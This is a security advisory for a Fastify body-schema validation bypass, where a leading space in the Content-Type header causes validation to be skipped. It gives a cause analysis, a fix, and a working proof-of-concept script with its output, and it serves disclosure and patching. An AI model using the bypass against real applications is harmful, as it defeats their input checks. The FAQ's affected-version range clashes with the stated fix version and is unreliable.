CVE-2026-33806: fastify vulnerable to Body Schema Validation Bypass via Leading Space in Content-Type Header
Summary A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).
Details The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently. Parser path (lib/content-type.js, line ~67) applies trimStart() before processing: js const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase() // ' application/json' → trimStart() → 'application/json' → body is parsed ✓
Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:
js function getEssenceMediaType(header) { if (!header) return '' return header.split(/[ ;]/, 1)[0].trim().toLowerCase() } // ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!) // ''.trim() → '' // context[bodySchema][''] → undefined → NO validator found → validation skipped!
The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely. Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.
PoC
js const fastify = require('fastify')({ logger: false });
fastify.post('/transfer', { schema: { body: { content: { 'application/json': { schema: { type: 'object', required: ['amount', 'recipient'], properties: { amount: { type: 'number', maximum: 1000 }, recipient: { type: 'string', maxLength: 50 }, admin: { type: 'boolean', enum: [false] } }, additionalProperties: false } } } } } }, async (request) => { return { processed: true, data: request.body }; });
(async () => { await fastify.ready();
// BLOCKED — normal request with invalid payload const res1 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': 'application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Normal:', res1.statusCode); // → 400 FSTERRVALIDATION
// BYPASS — single leading space const res2 = await fastify.inject({ method: 'POST', url: '/transfer', headers: { 'content-type': ' application/json' }, payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true }) }); console.log('Leading space:', res2.statusCode); // → 200 (validation bypassed!) console.log('Body:', res2.body);
await fastify.close(); })();
Output: Normal: 400 Leading space: 200 Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}
Impact Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses:
CVE | Vector | Patched in 5.8.4? -- | -- | -- CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes CVE-2026-25223 | Tab character (\t) | ✅ Yes CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes This finding | Leading space (\x20) | ❌ No
Recommended fix — add trimStart() before the split in getEssenceMediaType: js function getEssenceMediaType(header) { if (!header) return '' return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase() }
Other sources
Impact:
Fastify applications using schema.body.content for per-content-type body validation can have validation bypassed entirely by prepending a space to the Content-Type header. The body is still parsed correctly but schema validation is skipped.
This is a regression introduced in fastify >= 5.3.2 by the fix for CVE-2025-32442
Patches:
Upgrade to fastify v5.8.5 or later.
Workarounds:
None. Upgrade to the patched version.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/fastifyto a version that resolves this vulnerability.Fixed in 5.8.5 - Upgrade
Upgrade
fastifyto a version that resolves this vulnerability.Fixed in 5.8.5 - Compensating control
As a workaround, ensure client requests use a Content-Type header without a leading whitespace character (e.g., do not allow ' content-type: application/json' with a single leading space before the media type), since the bypass occurs by prepending a single space to the Content-Type value.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33806?
CVE-2026-33806 has been categorized as a high-severity vulnerability due to its potential for body schema validation bypass.
How do I fix CVE-2026-33806?
To fix CVE-2026-33806, ensure that the Content-Type header is validated to not allow leading spaces before the actual type.
What versions of Fastify are affected by CVE-2026-33806?
CVE-2026-33806 affects Fastify versions from 5.3.2 to 5.8.5 inclusive.
What are the implications of CVE-2026-33806?
The implications of CVE-2026-33806 include the possibility of unauthorized access to data due to the bypass of expected body validation.
How can I prevent CVE-2026-33806 from affecting my application?
Prevent CVE-2026-33806 by updating to the latest version of Fastify and implementing strict Content-Type header validation.